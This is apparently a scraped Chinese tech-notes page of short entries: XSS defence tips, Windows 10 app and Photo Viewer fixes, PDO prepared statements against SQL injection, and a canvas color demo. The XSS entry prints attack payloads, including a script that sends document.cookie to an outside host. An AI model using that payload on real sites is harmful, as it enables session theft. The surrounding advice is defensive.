<script>alert(document.cookie)</script><!--
"onclick="alert(document.cookie)
原则: 不相信客户输入的数据
注意: 攻击代码不一定在<script></script>中
将重要的cookie标记为http only, 这样的话Javascript 中的document.cookie语句就不能获取到cookie了.
只允许用户输入我们期望的数据。 例如: 年龄的textbox中,只允许用户输入数字。 而数字之外的字符都过滤掉。
对数据进行Html Encode 处理
过滤或移除特殊的Html标签, 例如: <script>, <iframe> , < for <, > for >, " for
过滤JavaScript 事件的标签。例如 "onclick=", "onfocus" 等等。
Set-Cookie: =[; =] [; expires=][; domain=] [; path=][; secure][; HttpOnly]如果 Cookie 具有 HttpOnly 特性且不能通过客户端脚本访问,则为 true;否则为 false。默认值为 false。
"/> <script>window.open("http://172.16.2.192/xss_hacker.php?cookie="+document.cookie);</script><!--
"/> <script>window.open("http://172.16.2.192/xss_hacker.php?cookie="+document.cookie);</script><!--#1440
Win10内置管理员帐户无法运行系统应用的解决方法
win10照片应用打不开提示“无法打开这应用”如何解决
Windows 10无法使用管理员账户启动应用怎么办?
Win10应用商店、应用打不开或闪退的解决方法
关于错误0x80072EFD,困扰了这么久,我终于解决了。思路:在internet属性-连接中,删除宽带连接,再新建一个。原来的宽带连接估计有些毛病。
删除C:Users{username}AppDataLocalPackagesMicrosoft.WindowsStore_8wekyb3d8bbweLocalCache里的文件即可无闪退
win10打开软件时提示无法打开这个应用的解决方法
#1441
步骤如下:
1、在任意位置新建一个文本文档,(右键“新建”—“文本文档”);
2、打开新建文本文档,将下面这段代码复制进去:
Windows Registry Editor Version 5.00 ; Change Extension's File Type [HKEY_CURRENT_USER\Software\Classes\.jpg] @="PhotoViewer.FileAssoc.Tiff" ; Change Extension's File Type [HKEY_CURRENT_USER\Software\Classes\.jpeg] @="PhotoViewer.FileAssoc.Tiff" ; Change Extension's File Type [HKEY_CURRENT_USER\Software\Classes\.gif] @="PhotoViewer.FileAssoc.Tiff" ; Change Extension's File Type [HKEY_CURRENT_USER\Software\Classes\.png] @="PhotoViewer.FileAssoc.Tiff" ; Change Extension's File Type [HKEY_CURRENT_USER\Software\Classes\.bmp] @="PhotoViewer.FileAssoc.Tiff" ;本文转自:www.xitonghe.com ; Change Extension's File Type [HKEY_CURRENT_USER\Software\Classes\.tiff] @="PhotoViewer.FileAssoc.Tiff" ; Change Extension's File Type [HKEY_CURRENT_USER\Software\Classes\.ico] @="PhotoViewer.FileAssoc.Tiff"3、点击“文件”—“另存为”;
4、在另存为界面将“保存类型”修改为“所有文件”,将文件名修改为“
添加照片查看器.reg5、双击“添加照片查看器”,在弹出的窗口点击“是”;
6、在图片上单击右键,选择“打开方式”—“选择其他应用”;
7、在窗口中选中“Windwos照片查看器”,在下面勾选“使用使用此应用打开”点击确定即可,不同格式的图片都需要按步骤6、7操作一遍,以后即可直接双击打开。
#1442
方法如下:
1、点击开始菜单,找到“Win PowerShell”文件夹打开,在“Win PowerShell”程序上单击右键,选择“以管理员身份运行”;
2、复制下面这段代码,并粘贴到打开的框中:
Get-AppXPackage -AllUsers | Foreach {Add-AppxPackage -DisableDevelopmentMode -Register "$($_.InstallLocation)AppXManifest.xml"}#1443
要对数据库的安全做出更加全面的考量,以下两种方式任选其一:
A. 通过添加(php 5.3.6以前版本):$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
B. 升级到php 5.3.6 (不用设置PDO::ATTR_EMULATE_PREPARES也可以)
为了程序移植性和统一安全性,建议使用$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false)方法
$dbh = new PDO("mysql:host=localhost; dbname=demo", "user", "pass"); $dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES, false); //禁用prepared statements的仿真效果 $dbh->exec("set names 'utf8'");使用PDO访问MySQL数据库时,真正的real prepared statements 默认情况下是不使用的。为了解决这个问题,你必须禁用 prepared statements的仿真效果。
当调用 prepare() 时,查询语句已经发送给了数据库服务器,此时只有占位符 ? 发送过去,没有用户提交的数据;当调用到 execute()时,用户提交过来的值才会传送给数据库,他们是分开传送的,两者独立的,SQL攻击者没有一点机会。
但是我们需要注意的是以下几种情况,PDO并不能帮助你防范SQL注入
1、你不能让占位符 ? 代替一组值,如:
SELECT * FROM blog WHERE userid IN ( ? );2、你不能让占位符代替数据表名或列名,如:
SELECT * FROM blog ORDER BY ?;3、你不能让占位符 ? 代替任何其他SQL语法,如:
SELECT EXTRACT( ? FROM datetime_column) AS variable_datetime_element FROM blog;知道以上几点之后,我们就可以总结使用PDO杜绝SQL注入的几个注意事项:
1. php升级到5.3.6+,生产环境强烈建议升级到php 5.3.9+ php 5.4+,php 5.3.8存在致命的hash碰撞漏洞。
2. 若使用php 5.3.6+, 请在在PDO的DSN中指定charset属性
3. 如果使用了PHP 5.3.6及以前版本,设置PDO::ATTR_EMULATE_PREPARES参数为false(即由MySQL进行变量处理),php 5.3.6以上版本已经处理了这个问题,无论是使用本地模拟prepare还是调用mysql server的prepare均可。在DSN中指定charset是无效的,同时set names <charset>的执行是必不可少的。
4. 如果使用了PHP 5.3.6及以前版本, 因Yii框架默认并未设置ATTR_EMULATE_PREPARES的值,请在数据库配置文件中指定emulatePrepare的值为false。
那么,有个问题,如果在DSN中指定了charset, 是否还需要执行set names <charset>呢?
是的,不能省。set names <charset>其实有两个作用:
A. 告诉mysql server, 客户端(PHP程序)提交给它的编码是什么
B. 告诉mysql server, 客户端需要的结果的编码是什么
也就是说,如果数据表使用gbk字符集,而PHP程序使用UTF-8编码,我们在执行查询前运行set names utf8, 告诉mysql server正确编码即可,无须在程序中编码转换。这样我们以utf-8编码提交查询到mysql server, 得到的结果也会是utf-8编码。省却了程序中的转换编码问题,不要有疑问,这样做不会产生乱码。
那么在DSN中指定charset的作用是什么? 只是告诉PDO, 本地驱动转义时使用指定的字符集(并不是设定mysql server通信字符集),设置mysql server通信字符集,还得使用set names <charset>指令。
$st->execute(); $result = $st->fetchAll();在php5.3.6之后,pdo不会在本地对sql进行拼接然后将拼接后的sql传递给mysql server处理(也就是不会在本地做转义处理)。pdo的处理方法是在prepare函数调用时,将预处理好的sql模板(包含占位符)通过mysql协议传递给mysql server,告诉mysql server模板的结构以及语义。当调用execute时,将两个参数传递给mysql server。由mysql server完成变量的转移处理。将sql模板和变量分两次传递,即解决了sql注入问题。
但无法对表或字段的名字进行变量绑定。
因此当表名或字段名不确定(即可能从用户输入中获取),而需要动态组装SQL语句时,即使是用了PDO变量绑定来提供字段的值,应当注意表名和字段名部分的过滤。
方法 bindParam() 和 bindValue() 非常相似。
唯一的区别就是前者使用一个PHP变量绑定参数,而后者使用一个值。
所以使用bindParam是第二个参数只能用变量名,而不能用变量值,而bindValue至可以使用具体值。
$stm = $pdo->prepare("select * from users where user = :user"); $user = "jack"; //正确 $stm->bindParam(":user",$user); //错误 //$stm->bindParam(":user","jack"); //正确 $stm->bindValue(":user",$user); //正确 $stm->bindValue(":user","jack");另外在存储过程中,bindParam可以绑定为input/output变量,如下面
$stm = $pdo->prepare("call func(:param1)"); $param1 = "abcd"; $stm->bindParam(":param1",$param1); //正确 $stm->execute();存储过程执行过后的结果可以直接反应到变量上。
对于那些内存中的大数据块参数,处于性能的考虑,应优先使用前者bindParam()
PDOStatement::bindParam — 绑定一个参数到指定的变量名。
绑定一个PHP变量到用作预处理的SQL语句中的对应命名占位符或问号占位符。 不同于 PDOStatement::bindValue() ,此变量作为引用被绑定,并只在 PDOStatement::execute() 被调用的时候才取其值。
PDOStatement::bindValue — 把一个值绑定到一个参数。
绑定一个值到用作预处理的 SQL 语句中的对应命名占位符或问号占位符。
<?php $stm = $pdo->prepare("select * from users where user = :user"); $user = "jack"; //正确 $stm->bindParam(":user",$user); //错误 $stm->bindParam(":user","jack"); //正确 $stm->bindValue(":user",$user); //正确 $stm->bindValue(":user","jack"); //所以使用bindParam是第二个参数只能用变量名,而不能用变量值,而bindValue至可以使用具体值。 ?>PDOStatement::bindColumn — 绑定一列到一个 PHP 变量。
安排一个特定的变量绑定到一个查询结果集中给定的列。每次调用 PDOStatement::fetch() 或 PDOStatement::fetchAll() 都将更新所有绑定到列的变量。
<?php function readData ( $dbh ) { $sql = 'SELECT name, colour, calories FROM fruit' ; try { $stmt = $dbh -> prepare ( $sql ); $stmt -> execute (); /* 通过列号绑定 */ $stmt -> bindColumn ( 1 , $name ); $stmt -> bindColumn ( 2 , $colour ); /* 通过列名绑定 */ $stmt -> bindColumn ( 'calories' , $cals ); while ( $row = $stmt -> fetch ( PDO :: FETCH_BOUND )) { $data = $name . "\t" . $colour . "\t" . $cals . "\n" ; print $data ; } } catch ( PDOException $e ) { print $e -> getMessage (); } } readData ( $dbh ); ?>#1444
<input type="color" name="" id="colorSelect" value="" /> <canvas id="canvas" width="320" height="200" style="border:1px solid #eee;">您的浏览器不支持canvas</canvas> <script> var selector = document.getElementById("colorSelect"); selector.onchange = function(){ var color = this.value; var canvas = document.getElementById("canvas"); var ctx = canvas.getContext("2d"); var w = canvas.width , h = canvas.height; ctx.fillStyle = color; ctx.fillRect(0, 0, w, h); } </script><input type="color" name="" id="newcolorSelect" value="" /> <script> var selector = document.getElementById("newcolorSelect"); selector.onchange = function(){ var newcolor = this.value; alert(newcolor); } </script>